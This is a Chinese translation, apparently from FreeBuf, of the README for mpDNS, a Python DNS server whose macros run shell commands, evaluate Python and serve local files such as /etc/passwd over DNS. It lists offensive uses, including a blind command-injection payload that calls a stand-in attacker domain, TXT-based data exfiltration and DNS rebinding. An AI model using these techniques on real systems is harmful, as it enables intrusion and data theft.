简单、可配置的“ clone和run ”DNS服务器,具有多种有用的功能。
适用于Python 2和3
names.db - >包含所有自定义记录(参见示例)
简单的通配符,如* .example.com
捕获unicode dns请求
自定义动作又称宏:
-
{{shellexec::dig google.com +short}}
- >执行shell命令并使用result响应-
{{eval::res = '1.1.1.%d' % random.randint(0,256)}}
- >评估你的python代码-
{{file::/etc/passwd}}
- >回复本地文件内容-
{{resolve}}
- >将DNS请求转发到本地系统DNS-
{{resolve::example.com}}
- >解析example.com而不是原始记录-
{{echo}}
- >回复对等地址-
{{shellexec::echo %PEER% %QUERY%}}
- >使用变量
支持的查询类型:A
,CNAME
,TXT
更新names.db
记录而不重启/重新加载./mpdns.py -e
重度基于https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
用法: ./mpdns.py
编辑names.db,./mpdns.py -e
无需重启
进攻和防守目的:
1.您需要一个轻量级的简单DNS服务器解决方案用于测试目的(不生产!)
2.测试Web应用程序中的各种盲注漏洞(例如/ping.php?ip=$(dig $(whoami).attacker.com))
3.在一个
TXT
查询中轻松渗透65K数据4.DNS重新绑定
5.对特定查询执行自定义宏操作(在恶意软件分析实验室环境中很有用)
6.还有更多。它是高度可定制的。
安装
git clone https://github.com/nopernik/mpDNS
限制
1.由于UDP数据报限制为65535字节,DNS响应限制在约65200字节, 此限制适用于
TXT
分成256字节块的记录,直到响应达到最大允许值65200b, 因此TXT
宏记录{{file:localfile.txt}}
限制为65200字节。2.不支持嵌套通配符 test.*.example.com
3.
{{resolve::example.com}}
宏中不支持自定义DNS服务器解析程序4.
TTL
始终设为0
例子
names.db示例:
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored
shellexec TXT {{shellexec::whoami}}
eval TXT {{eval::import random; res = random.randint(1,500)}}
resolve1 A {{resolve}}
resolve2 A {{resolve::self}} #same as previous
resolve3 A {{resolve::example.com}}
blabla.com A 5.5.5.5
* A 127.0.0.1
*.example.com A 7.7.7.7
c1.example.com CNAME c2.example.com
c2.example.com CNAME c3.example.com
c3.example.com CNAME google.example.com
google.example.com CNAME google.com
test.example.com A 8.8.8.8
google.com A {{resolve::self}}
notgoogle.com A {{resolve::google.com}}
使用names.db示例输出示例:
DB的定期解决方案:dig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
mpDNS输出: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
递归CNAME解析:dig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com. IN A
;; ANSWER SECTION:
c1.example.com. 0 IN CNAME c2.example.com.
c2.example.com. 0 IN CNAME c3.example.com.
c3.example.com. 0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com. 0 IN A 216.58.206.14
mpDNS输出:
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)
- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
通配符解析:dig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com. 0 IN A 127.0.0.1
mpDNS输出:
- Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
通配符子域解析:dig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
mpDNS输出:
- Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)
转发请求宏:dig google.com @localhost
;; ANSWER SECTION:
google.com. 0 IN A 172.217.22.110
mpDNS输出:
- Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)
自定义域宏的转发请求:dig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com. 0 IN A 172.217.22.110
mpDNS输出:
- Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)
通过TXT查询文件内容宏:dig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
mpDNS输出:
- Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)
通过TXT查询自定义python代码宏:dig txt eval @localhost
;; ANSWER SECTION:
eval. 0 IN TXT "320"
mpDNS输出:
- Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)
Shell命令宏通过TXT查询:dig txt shellexec @localhost
;; ANSWER SECTION:
shellexec. 0 IN TXT "root"
mpDNS输出:
- Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)
*参考来源github,由周大涛编译,转载请注明来自FreeBuf.COM。